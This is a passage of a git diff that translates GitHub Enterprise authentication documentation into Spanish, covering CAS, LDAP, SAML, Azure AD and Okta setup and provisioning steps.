-## Configuring CAS
+## Configurar CAS
 {% warning %}
 
-**Warning:** Before configuring CAS on {% data variables.product.product_location %}, note that users will not be able to use their CAS usernames and passwords to authenticate API requests or Git operations over HTTP/HTTPS. Instead, they will need to [create an access token](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use).
+**Advertencia:** Antes de configurar CAS en {% data variables.product.product_location %}, ten en cuenta que los usuarios no podrán usar sus nombres de usuario ni contraseñas CAS para autenticar las solicitudes de API o las operaciones Git a través de HTTP/HTTPS. En cambio, será necesario que [creen un token de acceso](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use).
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.authentication %}
-3. Select **CAS**.
-![CAS select](/assets/images/enterprise/management-console/cas-select.png)
-4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select CAS built-in authentication checkbox](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
-5. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate.
+3. Selecciona **CAS**. ![Seleccionar CAS](/assets/images/enterprise/management-console/cas-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Seleccionar la casilla de verificación autenticación integrada](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
+5. En el campo **URL del servidor**, escribe la URL completa de tu servidor CAS. Si tu servidor CAS usa un certificado que no puede ser validado por {% data variables.product.prodname_ghe_server %}, puedes usar el comando `ghe-ssl-ca-certificate-install` para instalarlo como un certificado de confianza.
diff --git a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
index a7d55a8a16..77d922b9e8 100644
--- a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
+++ b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
@@ -1,11 +1,11 @@
 ---
 title: Using LDAP
 redirect_from:
-  - /enterprise/admin/articles/configuring-ldap-authentication/
-  - /enterprise/admin/articles/about-ldap-authentication/
-  - /enterprise/admin/articles/viewing-ldap-users/
-  - /enterprise/admin/hidden/enabling-ldap-sync/
-  - /enterprise/admin/hidden/ldap-sync/
+  - /enterprise/admin/articles/configuring-ldap-authentication
+  - /enterprise/admin/articles/about-ldap-authentication
+  - /enterprise/admin/articles/viewing-ldap-users
+  - /enterprise/admin/hidden/enabling-ldap-sync
+  - /enterprise/admin/hidden/ldap-sync
   - /enterprise/admin/user-management/using-ldap
   - /enterprise/admin/authentication/using-ldap
   - /admin/authentication/using-ldap
diff --git a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md
index b7f582ffcb..e3c6192362 100644
--- a/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md
+++ b/translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md
@@ -1,8 +1,8 @@
 ---
 title: Using SAML
 redirect_from:
-  - /enterprise/admin/articles/configuring-saml-authentication/
-  - /enterprise/admin/articles/about-saml-authentication/
+  - /enterprise/admin/articles/configuring-saml-authentication
+  - /enterprise/admin/articles/about-saml-authentication
   - /enterprise/admin/user-management/using-saml
   - /enterprise/admin/authentication/using-saml
   - /admin/authentication/using-saml
@@ -71,6 +71,15 @@ These attributes are available. You can change the attribute names in the [manag
 | `public_keys`   | Optional | The public SSH keys for the user. More than one can be specified. |
 | `gpg_keys`   | Optional | The GPG keys for the user. More than one can be specified.  |
 
+To specify more than one value for an attribute, use multiple `<saml2:AttributeValue>` elements.
+
+```
+<saml2:Attribute FriendlyName="public_keys" Name="urn:oid:1.2.840.113549.1.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
+    <saml2:AttributeValue>ssh-rsa LONG KEY</saml2:AttributeValue>
+    <saml2:AttributeValue>ssh-rsa LONG KEY 2</saml2:AttributeValue>
+</saml2:Attribute>
+```
+
 ## Configuring SAML settings
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
diff --git a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
index 21fc4b65db..c9a7444988 100644
--- a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
+++ b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring authentication and provisioning for your enterprise using Azure AD
-shortTitle: Configuring with Azure AD
-intro: 'You can use a tenant in Azure Active Directory (Azure AD) as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.product.product_location %}.'
+title: Configurar la autenticación y el aprovisionamiento para tu empresa utilizando Azure AD
+shortTitle: Configurar con Azure AD
+intro: 'Puedes utilizar un inquilino en Azure Active Directory (Azure AD) como proveedor de identidad (IdP) para administrar centralmente la autenticación y el aprovisionamiento de usuarios para {% data variables.product.product_location %}.'
 permissions: 'Enterprise owners can configure authentication and provisioning for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghae: '*'
@@ -15,41 +15,42 @@ topics:
 redirect_from:
   - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
 ---
-## About authentication and user provisioning with Azure AD
 
-Azure Active Directory (Azure AD) is a service from Microsoft that allows you to centrally manage user accounts and access to web applications. For more information, see [What is Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) in the Microsoft Docs.
+## Acerca de la autenticación y el aprovisionamiento de usuarios con Azure AD
 
-To manage identity and access for {% data variables.product.product_name %}, you can use an Azure AD tenant as a SAML IdP for authentication. You can also configure Azure AD to automatically provision accounts and access membership with SCIM, which allows you to create {% data variables.product.prodname_ghe_managed %} users and manage team and organization membership from your Azure AD tenant.
+Azure Active Directory (Azure AD) es un servicio de Microsoft que te permite administrar centralmente las cuentas de usuario y el acceso a las aplicaciones web. Para obtener más información, consult ala sección [¿Qué es Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) en los Documentos de Microsoft.
 
-After you enable SAML SSO and SCIM for {% data variables.product.prodname_ghe_managed %} using Azure AD, you can accomplish the following from your Azure AD tenant.
+Para administrar la identidad y el acceso para {% data variables.product.product_name %}, puedes utilizar un inquilino en Azure AD como un IdP de SAML para la autenticación. También puedes configurar a Azure AD para que automáticamente aprovisione las cuentas y acceda a las membrecías con SCIM, lo cual te permite crear usuarios de {% data variables.product.prodname_ghe_managed %} y administrar las membrecías de equipo y de organización desde tu inquilino de Azure AD.
 
-* Assign the {% data variables.product.prodname_ghe_managed %} application on Azure AD to a user account to automatically create and grant access to a corresponding user account on {% data variables.product.product_name %}.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application to a user account on Azure AD to deactivate the corresponding user account on {% data variables.product.product_name %}.
-* Assign the {% data variables.product.prodname_ghe_managed %} application to an IdP group on Azure AD to automatically create and grant access to user accounts on {% data variables.product.product_name %} for all members of the IdP group. In addition, the IdP group is available on {% data variables.product.prodname_ghe_managed %} for connection to a team and its parent organization.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application from an IdP group to deactivate the {% data variables.product.product_name %} user accounts of all IdP users who had access only through that IdP group and remove the users from the parent organization. The IdP group will be disconnected from any teams on {% data variables.product.product_name %}.
+Después de que habilitas el SSO de SAML y de SCIM para {% data variables.product.prodname_ghe_managed %} utilizando Azure AD, puedes lograr lo siguiente desde tu inquilino de Azure AD.
 
-For more information about managing identity and access for your enterprise on {% data variables.product.product_location %}, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)." For more information about synchronizing teams with IdP groups, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
+* Asignar la aplicación de {% data variables.product.prodname_ghe_managed %} en Azure AD a una cuenta de usuario para que cree y otorgue acceso automáticamente a una cuenta de usuario correspondiente en {% data variables.product.product_name %}.
+* Desasignar la aplicación de {% data variables.product.prodname_ghe_managed %} a una cuenta de usuario en Azure AD para desactivar la cuenta de usuario correspondiente en {% data variables.product.product_name %}.
+* Asignar la aplicación de {% data variables.product.prodname_ghe_managed %} a un grupo de IdP en Azure AD para que cree y otorgue acceso automáticamente a las cuentas de usuario en {% data variables.product.product_name %} para todos los miembros del grupo de IdP. Adicionalmente, el grupo de IdP estará disponible en {% data variables.product.prodname_ghe_managed %} para que se conecte a un equipo y a sus organizaciones padre.
+* Desasignar la aplicación de {% data variables.product.prodname_ghe_managed %} desde un grupo de IdP para desactivar las cuentas de usuario de {% data variables.product.product_name %} de todos los usuarios de IdP que tuvieron acceso únicamente a través de este grupo de IdP y eliminar a los usuarios de la organización padre. El grupo de IdP se desconectará de cualquier equipo en {% data variables.product.product_name %}.
 
-## Prerequisites
+Para obtener más información acerca de la administración de identidades y de accesos para tu empresa en {% data variables.product.product_location %}, consulta la sección "[Administrar la identidad y el acceso para tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise)". Para obtener más información sobre cómo sincronizar equipos con grupos de IdP, consulta la sección "[Sincronizar a un equipo con un grupo de proveedor de identidad](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)".
 
-To configure authentication and user provisioning for {% data variables.product.product_name %} using Azure AD, you must have an Azure AD account and tenant. For more information, see the [Azure AD website](https://azure.microsoft.com/free/active-directory) and [Quickstart: Create an Azure Active Directory tenant](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) in the Microsoft Docs.
+## Prerrequisitos
 
-{% data reusables.saml.assert-the-administrator-attribute %} For more information about including the `administrator` attribute in the SAML claim from Azure AD, see [How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Microsoft Docs.
+Para configurar la autenticación y el aprovisionamiento de usuarios para {% data variables.product.product_name %} utilizando Azure AD, debes tener una cuenta y un inquilino en Azure AD. Para obtener más información, consulta el [Sitio Web de Azure AD](https://azure.microsoft.com/free/active-directory) y el [Inicio rápido: Creación de un inquilino en Azure Active Directory](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) en los Documentos de Microsoft.
+
+{% data reusables.saml.assert-the-administrator-attribute %} Para obtener más información acerca de cómo incluir el atributo `administrator` en la solicitud de SAML desde Azure AD, consulta la sección [Cómo: personalizar las notificaciones emitidas en el token SAML para aplicaciones empresariales](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) en los Documentos de Microsoft.
 
 {% data reusables.saml.create-a-machine-user %}
 
-## Configuring authentication and user provisioning with Azure AD
+## Configurar la autenticación y el aprovisionamiento de usuarios con Azure AD
 
 {% ifversion ghae %}
 
-1. In Azure AD, add {% data variables.product.ae_azure_ad_app_link %} to your tenant and configure single sign-on. For more information, see [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs.
+1. En Azure AD, agrega {% data variables.product.ae_azure_ad_app_link %} a tu inquilino y configura el inicio de sesión único. Para obtener más información, consulta la sección [Tutorial: Integración del inicio de sesión único (SSO) de Active Directory con {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) en los documentos de Microsoft.
 
-1. In {% data variables.product.prodname_ghe_managed %}, enter the details for your Azure AD tenant.
+1. En {% data variables.product.prodname_ghe_managed %}, ingresa los detalles para tu inquilino de Azure AD.
 
     - {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-    - If you've already configured SAML SSO for {% data variables.product.product_location %} using another IdP and you want to use Azure AD instead, you can edit your configuration. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)."
+    - Si ya configuraste el SSO de SAML para {% data variables.product.product_location %} utilizando otro IdP y quieres utilizar Azure AD en vez de este, puedes editar tu configuración. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)".
 
-1. Enable user provisioning in {% data variables.product.product_name %} and configure user provisioning in Azure AD. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)."
+1. Habilita el aprovisionamiento de usuarios en {% data variables.product.product_name %} y configura el aprovisionamiento de usurios en Azure AD. Para obtener más información, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)".
 
 {% endif %}
diff --git a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
index fbe74e7c94..dd76117faa 100644
--- a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
+++ b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
@@ -17,7 +17,7 @@ miniTocMaxHeadingLevel: 3
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
-## About SAML and SCIM with Okta
+## Acerca de SAML y SCIM con Okta
 
 You can use Okta as an Identity Provider (IdP) for {% data variables.product.prodname_ghe_managed %}, which allows your Okta users to sign in to {% data variables.product.prodname_ghe_managed %} using their Okta credentials.
 
@@ -25,14 +25,14 @@ To use Okta as your IdP for {% data variables.product.prodname_ghe_managed %}, y
 
 The following provisioning features are available for all Okta users that you assign to your {% data variables.product.prodname_ghe_managed %} application.
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user is added to {% data variables.product.prodname_ghe_managed %}. |
-| Push User Deactivation | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Push Profile Updates | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Reactivate Users | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
+| Característica                    | Descripción                                                                                                                                                                |
+| --------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Subir Usuarios Nuevos             | When you create a new user in Okta, the user is added to {% data variables.product.prodname_ghe_managed %}.                                                              |
+| Subir Desactivaciones de Usuarios | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.prodname_ghe_managed %}.                                  |
+| Subir Actualizaciones de Perfil   | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
+| Reactivar Usuarios                | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.prodname_ghe_managed %}.                                  |
 
-## Adding the {% data variables.product.prodname_ghe_managed %} application in Okta
+## Agregar la aplicación {% data variables.product.prodname_ghe_managed %} en Okta
 
 {% data reusables.saml.okta-ae-applications-menu %}
 1. Click **Browse App Catalog**
@@ -43,7 +43,7 @@ The following provisioning features are available for all Okta users that you as
 
   !["Search result"](/assets/images/help/saml/okta-ae-search.png)
 
-1. Click **Add**.
+1. Da clic en **Agregar**.
 
   !["Add GitHub AE app"](/assets/images/help/saml/okta-ae-add-github-ae.png)
 
@@ -51,7 +51,7 @@ The following provisioning features are available for all Okta users that you as
 
   !["Configure Base URL"](/assets/images/help/saml/okta-ae-configure-base-url.png)
 
-1. Click **Done**.
+1. Haz clic en **Done** (listo).
 
 ## Enabling SAML SSO for {% data variables.product.prodname_ghe_managed %}
 
@@ -67,8 +67,8 @@ To enable single sign-on (SSO) for {% data variables.product.prodname_ghe_manage
 
   ![Sign On tab](/assets/images/help/saml/okta-ae-view-setup-instructions.png)
 
-1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details. 
-1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details.
+1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
 {% note %}
 
@@ -84,19 +84,19 @@ The "GitHub AE" app in Okta uses the {% data variables.product.product_name %} A
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
 {% data reusables.saml.okta-ae-provisioning-tab %}
-1. Click **Configure API Integration**.
+1. Da clic en **Configurar la integraciòn de la API**.
 
-1. Select **Enable API integration**.
+1. Selecciona **Habilitar la Integraciòn de la API**.
 
   ![Enable API integration](/assets/images/help/saml/okta-ae-enable-api-integration.png)
 
 1. For "API Token", type the {% data variables.product.prodname_ghe_managed %} personal access token you generated previously.
 
-1. Click **Test API Credentials**. 
+1. Haz clic en **Probar las credenciales de la API**.
 
 {% note %}
 
-**Note:** If you see `Error authenticating: No results for users returned`, confirm that you have enabled SSO for {% data variables.product.prodname_ghe_managed %}. For more information see "[Enabling SAML SSO for {% data variables.product.prodname_ghe_managed %}](#enabling-saml-sso-for-github-ae)."
+**Note:** If you see `Error authenticating: No results for users returned`, confirm that you have enabled SSO for {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Habilitar el SSO de SAML para {% data variables.product.prodname_ghe_managed %}](#enabling-saml-sso-for-github-ae)".
 
 {% endnote %}
 
@@ -111,11 +111,11 @@ This procedure demonstrates how to configure the SCIM settings for Okta provisio
 
   !["To App" settings](/assets/images/help/saml/okta-ae-to-app-settings.png)
 
-1. To the right of "Provisioning to App", click **Edit**.
-1. To the right of "Create Users", select **Enable**.
-1. To the right of "Update User Attributes", select **Enable**.
-1. To the right of "Deactivate Users", select **Enable**.
-1. Click **Save**.
+1. A la derecha de "Aprovisionar a la App", da clic en **Editar**.
+1. A la derecha de "Crear Usuarios", selecciona **Habilitar**.
+1. A la derecha de "Actualizar Atributos de Usuario", selecciona **Habilitar**.
+1. A la derecha de "Desactivar Usuarios", selecciona **Habilitar**.
+1. Haz clic en **Save ** (guardar).
 
 ## Allowing Okta users and groups to access {% data variables.product.prodname_ghe_managed %}
 
@@ -130,7 +130,7 @@ Before your Okta users can use their credentials to sign in to {% data variables
 
 1. Click **Assignments**.
 
-  ![Assignments tab](/assets/images/help/saml/okta-ae-assignments-tab.png)
+  ![Pestaña de tareas](/assets/images/help/saml/okta-ae-assignments-tab.png)
 
 1. Select the Assign drop-down menu and click **Assign to People**.
 
@@ -144,13 +144,13 @@ Before your Okta users can use their credentials to sign in to {% data variables
 
   ![Role selection](/assets/images/help/saml/okta-ae-assign-role.png)
 
-1. Click **Done**.
+1. Haz clic en **Done** (listo).
 
 ### Provisioning access for Okta groups
 
-You can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will then automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+You can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will then automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".
 
-## Further reading
+## Leer más
 
-- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation.
-- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation.
+- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) en la documentación de Okta.
+- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) en la documentación de Okta.
diff --git a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
index 138b2d5323..ea43ca3eec 100644
--- a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
+++ b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
@@ -1,12 +1,12 @@
 ---
-title: Configuring authentication and provisioning with your identity provider
-intro: 'You can configure user authentication and provisioning by integrating with an identity provider (IdP) that supports SAML single sign-on (SSO) and SCIM.'
+title: Configurar la autenticación y el aprovisionamiento con tu proveedor de identidad
+intro: Puedes configurar la autenticación y aprovisionamiento de usuarios si integras un proveedor de identidad (IdP) que sea compatible con el inicio de sesión único (SSO) de SAML y con SCIM.
 versions:
   ghae: '*'
 children:
   - /configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
   - /configuring-authentication-and-provisioning-for-your-enterprise-using-okta
   - /mapping-okta-groups-to-teams
-shortTitle: Use an IdP for SSO & SCIM
+shortTitle: Utilizar un IdP para el SSO & SCIM
 ---
 
diff --git a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
index bf03a67c91..65f9e8db5d 100644
--- a/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
+++ b/translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
@@ -19,25 +19,24 @@ topics:
 
 If you use Okta as your IdP, you can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. To configure this mapping, you can configure the Okta "GitHub AE" app to push the group and its members to {% data variables.product.prodname_ghe_managed %}. You can then choose which team in {% data variables.product.prodname_ghe_managed %} will be mapped to the Okta group.
 
-## Prerequisites
+## Prerrequisitos
 
 You or your Okta administrator must be a Global administrator or a Privileged Role administrator in Okta.
- 
-You must enable SAML single sign-on with Okta. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
 
-You must authenticate to your enterprise account using SAML SSO and Okta. For more information, see "[Authenticating with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)."
+You must enable SAML single sign-on with Okta. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
+
+You must authenticate to your enterprise account using SAML SSO and Okta. Para obtener más información, consulta "[Autenticación con el inicio de sesión único de SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)".
 
 ## Assigning your Okta group to the "GitHub AE" app
 
 1. In the Okta Dashboard, open your group's settings.
-1. Click **Manage Apps**.
-  ![Add group to app](/assets/images/help/saml/okta-ae-group-add-app.png)
+1. Click **Manage Apps**. ![Add group to app](/assets/images/help/saml/okta-ae-group-add-app.png)
 
 1. To the right of "GitHub AE", click **Assign**.
 
   ![Assign app](/assets/images/help/saml/okta-ae-assign-group-to-app.png)
 
-1. Click **Done**.
+1. Haz clic en **Done** (listo).
 
 ## Pushing the Okta group to {% data variables.product.prodname_ghe_managed %}
 
@@ -48,7 +47,7 @@ When you push an Okta group and map the group to a team, all of the group's memb
 
 1. Click **Push Groups**.
 
-  ![Push Groups tab](/assets/images/help/saml/okta-ae-push-groups-tab.png)
+  ![Pestaña de Grupos de Subida](/assets/images/help/saml/okta-ae-push-groups-tab.png)
 
 1. Select the Push Groups drop-down menu and click **Find groups by name**.
 
@@ -66,16 +65,14 @@ You can map a team in your enterprise to an Okta group you previously pushed to
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-6. Under "Identity Provider Group", select the drop-down menu and click an identity provider group.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
-7. Click **Save changes**.
+6. Under "Identity Provider Group", select the drop-down menu and click an identity provider group. ![Menú desplegable para elegir un grupo de proveedor de identidad](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
+7. Haz clic en **Guardar cambios**.
 
 ## Checking the status of your mapped teams
 
 Enterprise owners can use the site admin dashboard to check how Okta groups are mapped to teams on {% data variables.product.prodname_ghe_managed %}.
 
-1. To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}.
-  ![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+1. Para acceder al tablero, en la esquina superior derecha de cualquier página, haz clic en {% octicon "rocket" aria-label="The rocket ship" %}. ![Icono de cohete para acceder a la configuración de administrador del sitio](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
 
 1. In the left pane, click **External groups**.
 
@@ -85,7 +82,7 @@ Enterprise owners can use the site admin dashboard to check how Okta groups are
 
   ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-list-groups.png)
 
-1. The group's details includes the name of the Okta group, a list of the Okta users that are members of the group, and the corresponding mapped team on {% data variables.product.prodname_ghe_managed %}. 
+1. The group's details includes the name of the Okta group, a list of the Okta users that are members of the group, and the corresponding mapped team on {% data variables.product.prodname_ghe_managed %}.
 
   ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-group-details.png)
 
@@ -97,4 +94,4 @@ Enterprise owners can use the site admin dashboard to check how Okta groups are
 
 {% data reusables.saml.external-identity-audit-events %}
 
-For more information, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)."
+Para obtener más información, consulta la sección "[Revisar la bitácora de auditoría de tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)".
diff --git a/translations/es-ES/content/admin/authentication/index.md b/translations/es-ES/content/admin/authentication/index.md
index 9bf5857a68..cf641e9cd2 100644
--- a/translations/es-ES/content/admin/authentication/index.md
+++ b/translations/es-ES/content/admin/authentication/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authentication
-intro: You can configure how users access your enterprise.
+title: Autenticación
+intro: Puedes configurar cómo los usuarios acceden a tu empersa.
 redirect_from:
   - /enterprise/admin/authentication
 versions:
diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
index 3da45be1af..62f0f89d79 100644
--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: About identity and access management for your enterprise
-shortTitle: About identity and access management
-intro: 'You can use SAML single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% endif %}{% ifversion ghae %}to {% data variables.product.product_location %}{% endif %}.'
+title: Acerca de la administración de identidades y de accesos para tu empresa
+shortTitle: Acerca de la administración de identidad y de acceso
+intro: 'Puedes utilizar el inicio de sesión único (SSO) de SAML y el Sistema para la Administración de Identidad Entre Dominios (SCIM) para administrar el acceso centralmente {% ifversion ghec %}a las organizaciones que pertenecen a tu empresa en {% data variables.product.prodname_dotcom_the_website %}{% endif %}{% ifversion ghae %} a {% data variables.product.product_location %}{% endif %}.'
 versions:
   ghec: '*'
   ghae: '*'
@@ -19,62 +19,63 @@ redirect_from:
   - /github/setting-up-and-managing-your-enterprise/about-user-provisioning-for-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-and-scim-for-your-enterprise-account-using-okta
 ---
-## About identity and access management for your enterprise
+
+## Acerca de la administración de identidades y de accesos para tu empresa
 
 {% ifversion ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
